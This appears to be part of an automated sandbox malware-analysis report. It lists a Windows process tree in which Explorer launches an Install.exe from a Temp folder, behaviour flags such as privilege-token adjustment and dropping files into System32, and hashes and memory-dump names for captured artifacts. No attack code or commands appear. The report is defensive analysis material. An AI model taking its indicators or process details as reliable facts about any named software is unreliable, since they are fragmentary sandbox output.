C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2644

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3028

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2328

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3284
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3440

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3956

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3988

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4064

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3704

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:652

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2840

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3536

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1648

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\Temp\__PSScriptPolicyTest_noe4h3gd.o1u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/388-85-0x00007FFF61790000-0x00007FFF617A0000-memory.dmp

Filesize
64KB

Download
memory/388-101-0x0000029F1C2A0000-0x0000029F1C2C5000-memory.dmp

Filesize
148KB

Download
memory/388-76-0x0000029F1C2D0000-0x0000029F1C2FB000-memory.dmp

Filesize
172KB

Download
memory/388-84-0x0000029F1C2D0000-0x0000029F1C2FB000-memory.dmp

Filesize
172KB

Download
memory/628-43-0x00007FFFA17A4000-0x00007FFFA17A5000-memory.dmp

Filesize
4KB

Download
memory/628-41-0x000001C0F96E0000-0x000001C0F970B000-memory.dmp

Filesize
172KB

Download
memory/628-31-0x000001C0F96B0000-0x000001C0F96D5000-memory.dmp

Filesize
148KB

Download
memory/628-32-0x000001C0F96E0000-0x000001C0F970B000-memory.dmp

Filesize
172KB

Download
memory/628-33-0x000001C0F96E0000-0x000001C0F970B000-memory.dmp

Filesize
172KB

Download
memory/628-44-0x00007FFFA17A6000-0x00007FFFA17A7000-memory.dmp

Filesize
4KB

Download
memory/684-56-0x000001C07AE40000-0x000001C07AE6B000-memory.dmp

Filesize
172KB

Download
memory/684-61-0x00007FFFA17A4000-0x00007FFFA17A5000-memory.dmp

Filesize
4KB

Download
memory/684-48-0x000001C07AE40000-0x000001C07AE6B000-memory.dmp

Filesize
172KB

Download
memory/684-60-0x000001C07AE10000-0x000001C07AE35000-memory.dmp

Filesize
148KB

Download
memory/684-57-0x00007FFF61790000-0x00007FFF617A0000-memory.dmp

Filesize
64KB

Download
memory/684-793-0x000001C07AE10000-0x000001C07AE35000-memory.dmp

Filesize
148KB

Download
memory/744-102-0x000001A00ABD0000-0x000001A00ABF5000-memory.dmp

Filesize
148KB

Download
memory/744-794-0x000001A00ABD0000-0x000001A00ABF5000-memory.dmp

Filesize
148KB

Download
memory/984-71-0x000001E284EB0000-0x000001E284EDB000-memory.dmp

Filesize
172KB

Download
memory/984-72-0x00007FFF61790000-0x00007FFF617A0000-memory.dmp

Filesize
64KB

Download
memory/984-63-0x000001E284EB0000-0x000001E284EDB000-memory.dmp

Filesize
172KB

Download
memory/3456-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3456-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3456-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3456-24-0x00007FFFA1700000-0x00007FFFA1909000-memory.dmp

Filesize
2.0MB

Download
memory/3456-42-0x00007FFFA07F1000-0x00007FFFA086E000-memory.dmp

Filesize
500KB

Download
memory/3456-25-0x00007FFFA07F0000-0x00007FFFA08AD000-memory.dmp

Filesize
756KB

Download
memory/3456-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3456-792-0x00007FFFA1700000-0x00007FFFA1909000-memory.dmp

Filesize
2.0MB

Download
memory/3456-45-0x00007FFFA1700000-0x00007FFFA1909000-memory.dmp

Filesize
2.0MB

Download
memory/3456-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3456-17-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3900-0-0x00007FFF80813000-0x00007FFF80815000-memory.dmp

Filesize
8KB

Download
memory/3900-13-0x0000027CE4B30000-0x0000027CE4B5A000-memory.dmp

Filesize
168KB

Download
memory/3900-12-0x00007FFF80810000-0x00007FFF812D2000-memory.dmp

Filesize
10.8MB

Download
memory/3900-11-0x00007FFF80810000-0x00007FFF812D2000-memory.dmp

Filesize
10.8MB

Download
memory/3900-14-0x00007FFFA1700000-0x00007FFFA1909000-memory.dmp

Filesize
2.0MB

Download
memory/3900-16-0x00007FFF80810000-0x00007FFF812D2000-memory.dmp

Filesize
10.8MB

Download
memory/3900-741-0x00007FFF80810000-0x00007FFF812D2000-memory.dmp

Filesize
10.8MB

Download
memory/3900-15-0x00007FFFA07F0000-0x00007FFFA08AD000-memory.dmp

Filesize
756KB

Download
memory/3900-10-0x00007FFF80810000-0x00007FFF812D2000-memory.dmp

Filesize
10.8MB

Download
memory/3900-9-0x0000027CCC140000-0x0000027CCC162000-memory.dmp

Filesize
136KB

Download